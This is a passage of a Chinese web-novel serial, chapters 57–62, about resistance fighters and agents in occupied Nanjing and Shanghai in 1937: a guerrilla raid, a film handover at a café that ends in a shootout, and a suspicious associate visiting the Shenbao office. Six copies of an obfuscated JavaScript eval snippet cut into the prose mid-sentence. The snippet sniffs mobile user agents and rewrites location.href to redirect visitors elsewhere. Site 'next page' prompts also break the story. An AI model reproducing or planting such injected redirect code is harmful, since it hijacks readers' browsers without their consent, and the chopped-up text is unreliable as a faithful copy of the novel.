只是昨晚黑木接到松井石根的邀请,让他前往汤山陶庐温泉别墅商谈要事。说是要事,其实就是喝喝酒,听听小曲,泡泡温泉,疏松疏松筋骨,再无其它。 松井石根大将自17日入城后,听闻汤山温泉不但可以调养身心,还能疗愈痼疾,加上自己的结核病经常复发,便抱着试一试的想法慕名而去,几个疗程下来,感觉好得不得了,加上久绷的神经一直难以放松,又厌倦了南京城的血腥之气,干脆将司令部移师汤山,天天可以足不出户享受温泉蒸熏后带来的淋漓酣畅。好在他也不是一个独乐乐的魁首,知道好东西一定要分享,进驻汤山后,他几乎是把南京城的将级以上的军官邀请了个遍,这样的好处显而易见,一来可以做到上下级零距离,并与下级军官打成一片,二来还可以堵住那些给他烙上“享乐主义”的某些非议和流言! 这不,邀请与他相差两个级别的黑木不就是一个最好的例证? 经过温泉的荡涤后,黑木觉得他的每个毛孔都舒坦通透。 他回味着这美妙的惬意,正欲上楼更换衣服,却被稻田勇堵在了楼梯口。 “将军……”稻田勇看着一身便装的黑木,不知当讲不当讲。 “有事?说吧。”黑木一脸和颜悦色。 “南京城出现电台!”稻田说道。 “什么?”黑木几乎不敢相信自己的耳朵。 “就在昨天夜里……”稻田看了看手中的侦听记录,“2:03分、2:09分……” “你是说南京城还有电台在活动?”黑木不耐烦地打断了稻田。 “是的,我们昨天夜里侦听到了一些信号很强的神秘电波。” “八嘎!”黑木气急败坏地骂了一句,飞步上楼,很快换上一身笔挺的将官服。 “到我的办公室,我要了解详细情况!” 这样的消息让黑木又惊又气,帝国军队占领南京城已半月有余,消灭了无数生灵,竟没能消灭一个祸患无穷的电台! 电台的存在意味着敌人还在有组织的进行着抵抗,这还了得!黑木很快把近期大日本皇军遇袭的诸多案例和这座神秘电台紧密联系了起来! 出现这样的事情无疑是对松机关形同棒喝,尽管是分内事,然其重要性与迫切性已压倒一切! “行动处马上开会!”黑木气急败坏地喊道! 半个小时候后,松机关的行动处在憩庐的一楼会议室集结。 稻田勇对南京出现的神秘电波进行了通报。会上,黑木宣布由渡边雪奈具体负责此案的侦办。 曲思秋走后,陶楚歌一把拽住林赤,非得让林赤老老实实听她传业解惑。 陶楚歌将要给林赤解惑的,是倭寇语言。 林赤学习的欲望本来十分强烈,他执着的认为,该项小语种的掌握,对接下来的战斗肯定有益无害,毕竟,听懂并理解敌人的语言在双方的交战中至关重要!但曲思秋的到来,让他在短时间内竟无法集中精神。 曲思秋是中共党员,这一点毫无疑问,可是,她是何时加入?经由谁的介绍加入?加入多长时间?为什么要加入?上级是谁?小车副驾驶位上坐着的是谁?她哥曲思冬知晓吗?怀里包裹中的胶卷到底拍下了什么?她又为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259566|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何不顾保密原则甘愿暴露自己?难道曲思秋真的把自己当成最亲近的人啦? 一个接一个的想法无厘头的在林赤脑海中快速闪现。 林赤陷入思考。 陶楚歌讲着讲着就发现了林赤心不在焉,他完全是在被动的学习,但奇怪的是,他按陶楚歌的要求复读的音节却十分准确,每当一个新知识点讲解完后,在让他复述时竟丝毫不差,这让她大惑不解! 一个上午下来,陶楚歌讲得口干舌燥,但让她欣慰的是,她的这名学生,悟性和语言接受能力表现得出乎她的意料。 “好了,本老师要休息一下了,下午继续授课!”陶楚歌说道。 吃完午饭后,陶楚歌又给林赤上了两个小时的课程,这时,赵楷把订好的火车票送了进来。 “明早最早的班次,二等座,七点准时发车,到上海北站。”赵楷提醒着林赤,“到时我让司机送我们去火车站。” “还有,陶会长让我把购照相设备的支票从账房那里领过来了,一并交给你。” “如此巨额的钱,还是赵先生收着吧。”林赤推辞。 “这使不得,一切都听陶会长的安排。”赵楷坚持。 林赤只好收下。 “我们这次去上海待几天?”林赤问。 “陶会长没有明确要求,反正要把事情办妥才能返回。” …… 自从上次在马群镇青马桥上成功袭击了鬼子的车队,并顺利截获了那一整车的珍贵藏书后,曲思冬和他的华帮抗战大队的所有队员一扫南京保卫战失败的阴霾,重新有了满满的自信。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第57章 中国式扫荡 “不带这么欺负人的!”凌鼎天咕哝一句,掸了掸身上的泥土,“要论格斗,我正儿八经科班出身,你们俩都不是我的对手。” 曲思冬笑着说:“好了,几位,让凌鼎天队长继续说说他的想法。” “我刚才讲到哪儿啦?”凌鼎天低头沉思一会,抬头道:“哦,对了,我是这样想的,敌人数量上和我们差不多,但武器要远远优于我们,加上离尧化门七八公里远的玄武门,驻扎着敌人的一个步兵大队,一旦正面交火,敌人增援部队最多二十分钟必将赶到,而我们是孤军作战,我们的目标只是敌人的后勤给养,所以,我想我们不能和小日本硬碰硬,发生正面冲突,应采取袭扰的办法!” 众人点头,凌鼎天继续道:“我们兵分两路,一路由我带队,绕道栖霞,插到敌人的后方,通过袭扰,诱敌追击,另一路立即抄其后路,去端了他们的老巢!” “此办法不错!”魏瑞赞叹道。 “那这样,凌队长从我们三支小队中,挑选五六名脚劲好的兄弟,并亲自带队,迂回穿插到敌人后方,一定要设法引出驻地的小鬼子,我和魏钱二位队长带着其余的兄弟隐蔽待机,一旦你们的战斗打响,敌人倾巢出动后,我们立即出击,借机消灭留守的鬼子,迅速补充给养!”曲思冬开始布置作战任务。 “那咱们什么时候行动?”凌鼎天问。 “兵贵神速,宜早不宜晚!我们午后三点出发,傍晚时分行动,时间定在五点十分左右,以枪声为信号!”曲思冬捋了捋头发,又补充道:“鼎天,你切记不可恋战!” 曲思冬抬手看表,命令道:“几位,一小时后召集兄弟们集合!” “是!”三人异口同声回答。 一小时后,两队人马陆续从紫金山的北山坡出发,先后消失在莽莽的山林间。 凌鼎天带着冯勇敢等五名年轻的战士,从北山坡的一条羊肠小道下山,一头扎进了一眼望不到尽头的丛林里,一路向北,隐蔽前行。 山林间荆棘丛生,没有路,偶尔出现一些践踏出的痕迹,但由于再无来者,又被阴暗中疯长的野草覆盖。 凌鼎天和几名兄弟进展缓慢,手脚均有不同程度的划伤,好在南北也就不到十公里的路程,但这样短的距离他们六人足足行进了两个小时。 为了迂回到尧化门的北侧,凌鼎天特地选择了这一条困难重重的路径,接下来,丛林尽头,只要出现一条八米左右宽度的石子路,那就是宁镇公路,见到这条公路,就意味着他们已绕到鬼子的背侧。只要沿着宁镇公路往西一公里,再折向南数百米,就是尧化门。 他们前行的轨迹,也是他们袭扰鬼子后的撤退路径。 五点已过,斜阳西下,晚霞满天。 凌鼎天一行六人,已悄然潜进鬼子尧化门驻地北侧的一座四五十米高的姚坊山上。 尧化门是南京城的外郭十八座城门之一,本来被叫做姚坊门,英国人修建京沪铁路时将姚坊门误译为尧化门,此名后来一直被沿用。 凌鼎天掏出望远镜,果然看到有七八名鬼子在巡逻。 “你们中还有谁的枪法准?”凌鼎天轻声询问。 冯勇敢毛遂自荐:“队长,我应该还可以。” “那好,我瞄准领头的,你瞄准第二个,其余的按顺序瞄准,听我命令,我们首次出击一定要给对方造成伤亡,这样才能激怒鬼子,否则一旦小鬼子龟缩进去,我们就再无机会!” “还有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259567|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们中谁的力气较大?” “我行!”一个胖乎乎的士兵自告奋勇。 “这个给你。”凌鼎天掏出一枚手榴弹递给他,自己面前也摆放了一枚,“待会儿,等鬼子开始追击,一旦靠近,我们把它投出去!” “可是队长,这种型号的手榴弹我不会用啊!” 凌鼎天给那名士兵的是一枚日本大正十年式手榴弹。它是日本陆军第1型制式手榴弹,其主要目的是配合当时同步研制的大正10年式掷弹筒使用,使用惯性引信,用掷弹筒发射时,拔下引信保险销,装入掷弹筒,发射时靠加速度启动引信发火。 “这种手榴弹手掷时,你撞击了惯性引信后,应停留3-4秒再投掷出去,否则引信延期时间太长,敌人有充足的时间把手榴弹捡起来反掷!”凌鼎天教他。 “准备……”凌鼎天低声下达了准备进攻的命令。 枪口齐刷刷地瞄准了两百米外的日军士兵。 “打!”随着凌鼎天一声令下,六支步枪一起点射,六颗子弹几乎同时出膛,枪声合流在一起,却也高亢洪亮。 但效果却令人无法满意,鬼子中只有一人倒地,也不知是谁击中的。 这突如其来的袭击,鬼子似乎被打懵了,原地转了几圈后,纷纷分散开来,各寻藏身之处。 “奶奶的,居然没打中!”凌鼎天沮丧地拉了拉枪栓,再次瞄准,可剩下的鬼子已躲起来了,再无战机。 凌鼎天更懊恼了,如果与鬼子就这样僵持下去,形势对自己一方会越来越不利。好在这时,盘踞在营房内的鬼子闻声悉数冲了出来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精 彩! 第58章 登广告 刚刚经历过战火洗礼的南京火车站,还尚未来得及修复,一片破败景象。 天还没亮,一辆黑色的雪佛兰轿车,在站前的广场停了下来。 林赤和赵楷各自提着一只行李箱,走下了轿车。他们准备搭乘早晨六点的火车,前往上海。 空旷的广场上,清冷萧条,几乎看不到人影。 在候车大厅前,有数量不菲的日本士兵在警戒,并检查乘客的通行证。 这个时候,火车依旧受日本军方控制,所以选择火车这样的交通方式旅行的,都必须有日本人颁发的通行证,而能够获取通行许可的,几乎都与日本人有着千丝万缕的联系。 林赤和赵楷亮出了通行证后,很快被放行。 来到候车大厅,旅客稀稀拉拉。 上海与南京的火车客运班次的恢复,才两天时间,一天两班,早晨和中午各一班。而且目前只开通了宁沪之间的方向,京沪之间据说还要假以时日。时间还早,旅客们显得百无聊赖,或聊天、或看书、或神思,每个旅客的表情各异,但有一点是相同的,那就是他们均衣着得体,看似身份尊贵。 …… 火车发出一声沉重的喘息,如同一头年迈的老牛,开始缓缓地驶离南京火车站。 八个小时后,他们抵达了上海火车北站。 上海这座城市同样深深镌刻着战火的烙印,火车站显然遭到了炮弹的轰炸,并未完全修葺,底层售票处门前探出的文艺复兴风格的拱门,已经残破,而外墙面的玻璃大窗,在炮火的震慑下,已支离破碎。 一脚踏上上海的土地,林赤心中一热,这是五年以来他首次重归故里。五年前的林赤,他还是一个稚气未脱的学生,是一个在学堂里贪婪吸纳知识的求学者,是一个享受浓浓的亲情关怀的大男孩,可是,那次突如其来的变故,将一切美好和安详撕碎,留在他心中的是一抹挥之不去的伤痛! 时过境迁,五年后的林赤,已从一个手无寸铁的学生,蜕变成一个卫国的战士,他的内心已无憧憬,剩下的是满腔的热血和深海般的仇恨! 他们每人叫了一辆黄包车,直接来到劳尔登路的明月旅社。 这家旅社,是照相设备的卖家给他们预定好的。 据赵楷讲,他已和对方老板商定好,明天将在此旅社和卖家商谈买卖具体事宜。 林赤在旅社前台要来了房间钥匙。房间在二楼,进了208房间,两张床已收拾得干干净净。林赤拉开窗帘,一缕温软的阳光从窗外投了进来。 “房间太小了,我再去另开一间。”赵楷环顾一下房间,不紧不慢地说道。 林赤没有答话。从赵楷的言行举止可以发现,他应该在赤盟会身居高位,初来乍到的林赤自然不能和他相比,或许,他是不愿意和别人共处一室。 赵楷出去以后,林赤放下行李,马上想起曲思秋交代的任务,一看表,才下午三点多,离天黑还有一段时间,林赤决定马上去办。 下到一楼,遇到已办好入住手续的赵楷。 “林兄弟,我的房间在一楼,你有什么事可以来105找我。”赵楷亮了亮手中的房间钥匙对林赤说道。 林赤“哦”了声,又说:“赵兄,时间还早,我出去会一个老朋友。” “好啊,你去吧,好久没回来了,是该走动走动。”赵楷微笑着说。 出了旅社,林赤在马路边好不容易等到一辆黄包车,林赤招手,上了黄包车, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259568|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对车夫说:“去汉口路309号申报馆。” “是,先生。”黄包车夫拉着车飞跑而去。 在汉口路和山东路的交叉口,一栋五层的钢筋混凝土的大楼跃然眼前。上面赫然写着两个大字:申报。 车夫高喊一声:“到了。” 林赤付完车钱,进了一楼。大厅靠门口一张办公桌旁坐着一个织毛线的中年妇女,头也没抬:“什么事?” “我想打广告。”林赤走近回答道。 “做广告?”中年妇女抬起头打量林赤,手却没闲着,依旧飞快地上下翻飞。 林赤肯定地点头。 中年妇女慢条斯理地道:“上五楼,找广告推销科的李主任。” 一口气爬上五楼,林赤找到了广告推销科,推门进去,一个戴眼镜的五十来岁的男人拿着笔在写着什么,闻声抬头,又稍稍低下头,眼光掠过镜片的顶端,投向林赤:“先生有事吗?” “这是广告推销科吗?” “是。” “我找李主任,登一则广告。”林赤说。 “我就是李景轩,快请进。”李主任热情地起身将林赤迎进来。“先生想登什么样的广告?不同类型的广告我们收费不一样。” 李主任几乎不让林赤插话,专业地推销起报社的广告业务。 “产品广告两块钱一个字,分类广告就便宜了……” 林赤打断他,问道:“什么是分类广告?” “像征婚、遗失、寻人、婚丧告示、乔迁这些都是分类广告。”李主任从抽屉里拿出一张广告单,推到林赤的面前。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第59章 相见恨晚 回到明月旅社,已夜色阑珊。 林赤一看到了吃晚饭时间,便想叫上赵楷一道。来到105房间,敲门却无人响应。 105房间靠近前台,敲门声惊动了老板,老板是一个快七十岁的老头,头发花白,老态龙钟。老板抬头大声说道:“别敲了,105的客人出去了。”林赤于是来到前台,问老板:“附近有便宜一点的小吃店吗? 老板眯着一双眼睛,不假思索道:“出门右拐,三百米,有家苏州藏书羊肉店,天冷,喝点羊汤暖暖身子。” 林赤谢过,刚出门,与一人迎面相撞,却发现是赵楷回来了。 赵楷一愣:“你不是去会朋友吗,怎么又回来了?朋友没留你吃饭?” “没见到,明天早上还得出去一趟!”林赤解释道。 “你这是又要出去?”赵楷道。 “哦对了,你吃饭了吗?”林赤问。 “哪能这么早吃饭,要不一起找个地方喝两杯?” 两人出了旅社,来到街上。“旅社老板说前面有家羊肉店,咱们去那里如何?”林赤指着前方的羊肉馆说。 “羊肉店怎么喝酒?不去,好歹找个大一点的炒菜馆,你别操心啦,跟我走。” 沿着劳尔登路没走多远,一家名叫“飘仙酒楼”的菜馆出现在他们眼前。 “就它了!”赵楷径自走进去。店门口站着一位妙龄女郎,见状笑吟吟问道:“先生几位?” “两位。” 二人在大厅坐下,一个十七八岁的小姑娘拿来菜单。赵楷一口气点了四道菜,还意犹未尽,林赤赶紧劝道:“赵兄,够多的了,我们未必吃得下,” “不够、不够!”赵楷抬头对小姑娘道:“推荐一下你们店的特色菜!” “我们店最近推出一道菜,叫‘锦绣山河’,客人反映都不错,回头客也多,不过……”小姑娘打量着林赵二人,“不过,这道菜是道大菜,你们吃得下吗?” “甭废话,名字不错,就它了,给我上!” 菜很快陆续上来,赵楷再要了一坛绍兴花雕,给林赤斟满,慢悠悠道:“林兄弟以前是做什么的?” “三和商行的一名伙计。” “三和商行?我怎么没听说?”赵楷疑道。 林赤一脸惊讶:“朝天宫的三和商行,你会没听说?专做日用百货生意的。” 赵楷似乎是在吃力的回忆着林赤所说的这家商行,林赤哈哈一笑:“南京大大小小几百家商行,赵兄又如何能全知道,来,咱们喝酒,我先敬你一杯!”说着将酒杯举到面前。 酒过三巡,林赤问道:“赵兄加入赤盟会多少年头了?” 赵楷掐着指头算了一下。“前后七个年头,我算是赤盟会的老人了。” “难怪老会长这么器重赵兄,以后跟着陶老会长混还得多仰仗赵兄提携!” “林兄弟这话就见外了,依我看啊,林兄弟要比我有前途,你刚刚来,陶会长就让你主持事务,还把你安排在陶府入住,这是一般人无法想象的,而我混了这么多年,也就是去年才得到会长的青睐,所以林兄弟就不用谦虚了,咱们都是明眼人,陶会长看重的,又岂能是泛泛之辈?” 正说着,外面突然传来一声尖锐的枪声,紧接着,一阵纷乱的嘈杂声越来越近。 飘仙酒楼的那位迎宾妙龄女子这时仓皇地从外面冲了进来,嘴里大喊:“杀人啦!杀人啦!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259569|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个酒楼从大厅到包厢,立即连锁反应起来,食客们脸色惊恐,纷纷立起身,大厅靠外的食客毫不迟疑地向厅内跑来。而里间的食客,只是呆立原地。 没人敢出去,所有人一脸茫然,全然不知所措。 赵楷和林赤也同时站了起来。 赵楷一把抓住擦身而过的女子,低声喝问道:“怎么回事?” 女子一边挣脱一边语无伦次叫道:“好像是日本人,在追什么人……” 林赤这时已逆流而上,向外面走来,赵楷放开女子,跟在林赤身后。 街上果然出现一队日本士兵,一边放枪,一边追击,昏暗的路灯下,一个黑影在前面狂奔。 黑影转眼已跑到酒楼前的街上,这时,又一声枪响,黑影踉跄倒地。 赵楷不知何时已挤到林赤身前,正欲上前,发现衣服已被人抓住,一回头,看到林赤犀利的眼神。林赤对他摇了摇头。 赵楷把身子缩了进来,林赤低声说:“不要冒失!” 话不多,但斩钉截铁。 “我们没有武器!”林赤又轻声说道。 赵楷跺了一下脚,显得很气恼。 转眼一队日本士兵冲上来,把倒地的黑影团团围住,林赤听到前面有个日本士兵说道:“他还活着!” 另一个日本士兵说道:“让他别跑,他就是不听,一定有问题!” “带回去再说!”又一个声音道。 一帮日本士兵架着黑影转身返回,林赤看到了一张年轻而绝望的脸庞。 很快,街上重新恢复了平静,像是什么也没发生一样。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第60章 生死两茫茫 位于牙买加东部的蓝山山脉,在加勒比海的环绕下,终年多雨多雾,气候潮湿。在蓝山山脉崎岖的山坡上,造就了世界上价格第二的蓝山咖啡。 在法国炮兵大学求学期间,一位来自墨西哥的室友,有一天特地带了一大包蓝山咖啡馈赠与他,这是林赤对咖啡的第一印象。 女服务员甜美地笑着,将一杯蓝山咖啡轻轻地放在他的面前。 依旧是那种浓郁香醇的口味,甘、酸、苦三味完美的搭配,将苦味微微掩盖,留在唇齿间的是仅有的适度而完美的酸味。 时间尚早,一份报纸已被林赤翻阅了几遍。 客人在陆续增加。 快两个小时过去了,依旧不见接头者。 切下一块蛋糕,把它送进嘴里。林赤突然听到一声大门被推开的声音。 那名女服务员道一声:“欢迎光临!” 脚步声不是很重,似乎在进门之后滞住了,接着林赤听到脚步声朝自己的方向而来。 耳边响起了一个年轻的男子的声音:“先生,我可以坐下吗?” 林赤抬头看到一个二十刚刚出头的青年,小眼睛,但目光有神,嘴角微翘,鼻梁下方有一颗淡淡的痣。他的手里同样拿着一张报纸,比申报略小。 青年用期盼的眼神看着林赤。 “地方这么大,您为何一定要挤在一起?”林赤不高兴地说。 “我想换您手中的报纸看看。”青年道。 “这个主意不错,正好我这份报纸已然无味。您手里的是什么报纸?” “前天的《奋报》,不知您喜不喜欢。” “现在的报纸都一个样,我就是打发时间罢了。” “那未必,这张《奋报》值得一看!” “请坐!”林赤打了了个手势。 青年在林赤对面缓缓坐下,轻声说道:“叫我小于,同志辛苦!” “我姓林。”林赤低头也小声回答,“我不是你们组织的,我只是受人之托。” 小于有些吃惊,不过很快坦然下来。 “有样东西要交给你。”林赤已把胶卷藏在了申报下。 “先生您的报纸是今天的吗?”小于这时提高了声音。 “早晨刚买的。”林赤将报纸沿着桌子推到小于面前。 小于伸手接过报纸,用右手紧紧地把胶卷攥在手心。把报纸移到桌前,右手慢慢缩进桌下,很快将胶卷藏进裤子口袋,然后佯装在腿部挠痒,手再慢慢提起,一切了然无痕。 林赤见任务已完成,心中一块石头落地。 小于对着林赤灿烂一笑,露出一排洁白的牙齿。把报纸摊在面前,认真地低头阅读,嘴里蚊虫般低吟道:“林先生保重!” 服务员这时走近问小于:“先生要喝点什么?” 小于突然想起了什么事,抬手看表,惶急地说道:“坏了,家里的火炉上还烧着水呢!”匆匆立起身,就欲出去。 林赤看他说话,余光蓦地发现咖啡店门前的街上忽然间多出一队人马,人数有七八人之多,清一色的黑衣,握着手枪,步履矫健,装扮干练,如临大敌般径直向咖啡厅冲了过来。 林赤一震,内心大喊一声:“不好!”闪电般立身,大踏步出了座位。 他的衣袂骤然间掠过一道旋风,将桌上的报纸飘扬而起。 报纸在他的身后凌乱飞舞。 “哐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259570|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啷”一声响,咖啡店门已被撞开,率先冲进来两人,没有丝毫犹豫,已向小于扑了过来。 小于一呆,迟疑俄顷,立即将手伸进口袋里,掏出了一把手枪。可手才抬起,对手已欺身而至,两双手已死死按住了小于拿枪的手。说时迟那时快,林赤这时已飞身而至,身体贴在了小于的身后,他一脚从小于身侧扬起,不偏不倚踢中了前面一位的小腿,发出脆裂的声音,紧靠小于的那位一个趔趄,身子失重,向着林赤的方向倾倒而来,林赤再抬右手,双指已扣住对方的喉咙,一用力、一甩手,那人直直倒地,发出一声巨响。小于试图抬手,但手依旧被第二位压着,挣脱不动。而就在此时,林赤的左手已搭在对方的右手手臂上,顺着对方的手臂极速地下滑,很快行至对方的手腕处,一用力,已把对方的手指捋直,大拇指微微一旋转,立时扣住对方的虎口,一抖手腕,力量已凝聚一处,“咔嚓”一声,对方的手腕胫骨被生生掰断,他手中的枪呈自由落体之势,被林赤快速赶至的右手稳稳接住。眼花缭乱间,大门又被撞开,第三个脑袋探了进来。小于手上的压力一轻,很快荡然无存,他借势再抬手,很快扣响了手枪扳机。这间隔区区的五米,精准的子弹在第三位的脑袋上爆开,鲜血飞溅而出。 接踵而至的第四位凭借着身体的惯性破门而入,和第三位闯入者不同的是,他的身体未到,持枪的手抢先一步进了厅堂,他枪中的子弹扮演着开路急先锋的角色,甚至没有瞄准,更无目标,不管三七二十一,裹挟着凌厉的杀气呼啸出膛。 这毫无征兆的变故已惊坏了咖啡厅内原本仪态万方的食客,他们似乎在一眨眼的功夫已钻进桌底,哪里顾得上体面与矜持。 这章没有结束,请点击下一页继续阅读! 第61章 陷阱 林赤叫了辆黄包车,欲回劳尔登路的明月旅社。 他竖起着衣领,将脑袋埋在衣服中。 坐在黄包车上,整个一路林赤都在想如何完成曲思秋交给的任务。 装有胶卷的包裹并没能送出,更准确地说,虽然送了出去,但又重新回到了自己手里。 林赤并不了解曲思秋的组织,也不知道当唯一的线索断了后,接下来该如何继续。 而圆满完成这样的任务,现在的原因已不止于曲思秋的托付,它的分量还加上了一条刚刚消逝的年轻生命,这条生命却是为了掩护自己而亡! 对曲思秋组织的运作程序,林赤一无所知,唯一的线索,来源于申报上的一则喜报。 或许,重新在申报上再行刊登那则喜报? 可是相见恨晚咖啡厅已完全暴露,接头地点已非安全之地,如果依旧我行我素,不仅自己会深陷绝境,还有可能殃及他人!更主要的是,以林赤丰富的战斗经验来判断,此次的接头,敌人的行动如此精准,难道不说明这中间已有环节出现了严重的问题? 小于肯定是个不知情的受害者,那么问题环节一定出在小于的上线,可是小于的上线又是谁?是谁如此清楚并了解他们的此次接头计划?难道是曲思秋那里出了问题?可是曲思秋并不知道喜报的见报时间啊! 林赤心乱如麻。 林赤突然想起包裹里的胶卷,心中一亮。 既然是胶卷,那么胶卷里面应该记录着什么,或许把胶卷冲洗出来,看到照片的内容,就可以寻觅到相关的线索。 “对,就这样办!”林赤心想。他似乎记得来上海后曾经在哪儿见到过一家照相馆,名字也有印象,好像是叫…… 林赤一拍脑袋,豁然开朗,是的,照相馆的名字叫“昨日再现”,在汉口路上,昨天去申报馆登广告时见到过。 “去汉口路!”林赤大声对车夫喊道。 车夫迟疑了一下,将车停了一会儿,像是在想着去林赤所说的汉口路的路线。 接着,车夫将车子掉个头,向前行进了数百米后,拐进了另一条宽敞的马路。 这样又走了大约半个小时,街两边已是熟悉的场景,汉口路到了。如果没记错,再走两百米的样子就到“昨日再现”照相馆。 果然,不一会儿,林赤看到了一块硕大的招牌,上面用红字写着几个字:昨日再现。 “到了!”林赤提醒车夫。 车夫将一只脚撑在地上做出刹车的动作,车很快慢了下来。 林赤将衣领再次竖起,低头掏钱,一种本能的防范意识让他觉得汉口路也已不安全。 林赤掏出钱,正欲付钱给车夫,倏忽间看到街上擦肩而过的黄包车上出现了一个眼熟的背影。 是赵楷! 林赤连忙将钱重新装进口袋。 “跟上前面的那辆黄包车。”林赤压低声音对车夫说道。 林赤让自己乘坐的黄包车和前面一辆保持在两百米左右的距离。他把脑袋再次深埋在衣领中。 前方的黄包车在汉口路尽头与山东路的十字路口停了下来。赵楷下车了,正在付钱给车夫。 林赤随手掏出一张准备好的法币塞给车夫,“不用找了!” “谢谢!谢谢!”车夫愉快地说着。 林赤在距离赵楷下车处一百米的地方,躲进了一家店铺的墙壁拐角处,探出头观察着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259571|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵楷。 只见赵楷抬头向着街对面望了望,林赤沿着他的视线赫然看到了“申报馆”三个大字。 赵楷没有任何迟疑,径自朝着申报馆走去。 眨眼功夫,他一脚踏进了申报馆。 赵楷此行上海的目的不仅仅是陪林赤购买照相设备,他还肩负着另一个任务。这个任务,是赤盟会的会长,也是后来当上南京自救会会长的陶天阙交代下来的。 几天前,他开车带着几名兄弟,被陶天阙安排到金陵图书馆对面的马路上,用照相机拍下了日本鬼子盗抢金陵图书馆珍贵藏书的一幕幕,而记录着这一切的胶卷,此刻也被他用黑色的胶带缠裹着,揣在内衣的口袋里。 陶天阙让他和林赤同来上海,亲手将胶卷交给申报的一名叫李景轩的老朋友手中。 申报的董事长史先生是上海报业的大亨,和陶天阙既是好朋友,又是南京同乡,可就于前年,嫉恶如仇的史先生遭到了暗杀,一命归西,但交情还在,陶天阙与申报的联系并未因他的殒命而断绝,在申报馆,陶天阙还有一个好友,他就是申报广告推销科的李景轩。 陶天阙将胶卷托付给他,就是想利用李景轩丰富的人脉和媒体资源,将此胶卷所记录的真相大白于天下,从而更进一步揭露日本人在占领南京后到底干了些什么见不得人的勾当! 进了报馆一楼,办公大厅鸦雀无声,靠近门口的办公桌旁坐着一位中年人,见到匆匆进来的赵楷,对方彬彬有礼地问道:“先生,您找谁?” “哦,您好!”赵楷同样礼貌地点着头,“我想找广告部的李景轩主任,请问他是在这里办公吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第62章 解救 赵楷进了申报馆后,林赤忽然有种不祥之感。 自从林赤踏上了上海的这片土地,找申报馆刊登广告,在相见恨晚咖啡厅和小于接头,以及现在赵楷莫名其妙也找到了这家报馆,这所有的一切,似乎都与眼前的这家报馆产生了某种联系! 街上虽然人来人往,但周围看似喧闹的空气中隐隐透出了一种近乎于诡异的安静,这种安静,凝重得让人窒息。 